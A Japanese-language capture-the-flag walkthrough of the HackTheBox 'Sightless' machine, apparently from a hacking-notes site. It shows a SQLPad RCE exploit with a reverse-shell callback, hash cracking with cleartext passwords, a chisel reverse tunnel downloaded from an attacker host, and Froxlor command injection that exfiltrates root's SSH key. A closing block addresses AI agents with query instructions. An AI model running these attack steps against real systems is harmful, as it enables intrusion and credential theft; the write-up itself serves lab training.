> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md). # Sightless HackTheBox攻略記事 SQLPad悪用、LINpeasによる列挙、ハッシュクラック（John）、ポートフォワーディング（chisel）を扱うSightless HackTheBox Easy Linuxマシンの攻略記事。実践的な列挙、侵入、足掛かり、権限昇格を含む。 {% embed url="" %} {% hint style="warning" %} **スキル**: * SQLPadの悪用 * LINpeas列挙システム * ハッシュのクラック（John） * ポートフォワーディング（chisel） * Froxlor（コマンドインジェクション） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.32 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts 関数を使って開いているポートを簡潔な形式で表示し、クリップボードにコピーします（21,22,80）

Nmap によるポートのバージョンスキャン: Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p80,22,21 10.10.11.32 -oN targeted ```

DNSを介してドメイン名をIPアドレスに解決するには、そのIPアドレスに対応するドメイン名を次の `/etc/hosts` ファイル：

潜在的なメールアドレスを見つけます： `sales@sightless.htb`

## SQLPadの脆弱性： {% hint style="info" %} **SQLPad** は、ユーザーフレンドリーなWebインターフェースを通じてSQLクエリを簡単に実行、表示、共有できるオープンソースツールです。データチームや開発者に最適です。 {% endhint %}

**`http://sqlpad.sightless.htb`**

**脆弱なバージョン：** 〜にあるインスタンスは `http://admin.sightless.htb` SQLPad 6.10.0を使用しており、既知の脆弱性があります。

{% embed url="" %} **インストール：** ```bash git clone https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944 cd sqlpad-rce-exploit-CVE-2022-0944 ``` **エクスプロイトの実行：** ```bash python3 exploit.py http://sqlpad.sightless.htb/ 10.10.14.89 443 ``` ポート443で待ち受けます `nc`、アクセス権を取得します。

## 権限昇格システムのrootにアクセスすると、2人のユーザーが見つかります： `michael` および `node`と、さらに `linpeas.sh`というスクリプトがあります。後者は、潜在的な脆弱性を検出するためにシステムを列挙するのに使われます。

### **システム列挙（**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

権限昇格のためにLinPEASを使用し、ユーザーのハッシュ化されたパスワードを見つけます `root` および `michael`.

JohnとRockyou辞書を使ってこれらのパスワードのクラックを試みます： ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` 回収されたパスワードは次のとおりです： `root:blindside` `michael:insaneclownposse`

### user.txtフラグユーザー `michael`でログインすると `user.txt`、ファイルを取得します。ただし、rootパスワードは正しくないようです。

### **Chisel（ポートフォワーディング）** まず、以下のコマンドで内部の開いているポートを確認します： ```bash netstat -nltp ``` ポート **8080** が目を引きます。

1つの `curl` リクエストをこのポートに送ると、ユーザー名とパスワードの入力フォームを含むHTMLページを取得できます。

この内部コンテンツを外部に公開するために、 **Chisel** ツールを使用します。Chiselバイナリを **Python** および **wget**: ```bash wget http://10.10.15.35:321/chisel python3 -m http.server 321 ```

次に、攻撃用マシンでポート **8888**: ```bash chisel server -p 8888 -reverse ``` ターゲットマシンでは、Chiselスクリプトをクライアントモードで実行して、攻撃用マシンのポート **8888**に接続します。これにより、被害者のlocalhostのポート **8080** を私たちのポート **8081**:

へ転送します。この方法で、内部で動作していたサービスを外部に公開しました **8080** (**Froxlor**).

`admin:ForlorfroxAdmin` {% hint style="info" %} Froxlorは、ユーザーがサーバーやホスティングサービスを簡単に管理できるWebホスティング管理用コントロールパネルです。ドメイン、データベース、FTPアカウント、メールサービスなど、サーバーリソースを設定・管理するための使いやすいインターフェースを提供します。 {% endhint %} **新しいPHPバージョンを作成：** ログイン後、「PHP」セクションに移動し、次に「PHP-FPM Versions」を開いて新しいバージョンを作成します。PHP-FPM再起動コマンド欄に、次のコマンドを入力します： `cp /root/root.txt /tmp/root.txt`

設定を保存したら、次へ移動します `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`。PHP-FPMを無効にして変更を保存し、その後再度有効にしてもう一度保存します。これにより、コピーコマンドが実行されます。

ここにファイルがあります。次は権限を与える必要があります：

続行するには、同じ手順を繰り返しますが、コマンドを次のものに置き換えます： ```bash chmod 644 /tmp/root.txt ``` ### rootフラグ：）

接続するには、 `id_rsa` キー（rootのSSH）をコピーし、権限を復元する手順を繰り返すだけです： ```bash cp /root/.ssh/id_rsa /tmp/id_rsa ``` ```bash chmod 644 /tmp/root.txt ```

その後、SSH経由でキーを使ってログインします： ```bash ssh -i id_rsa root@localhost ```

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/sightless-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.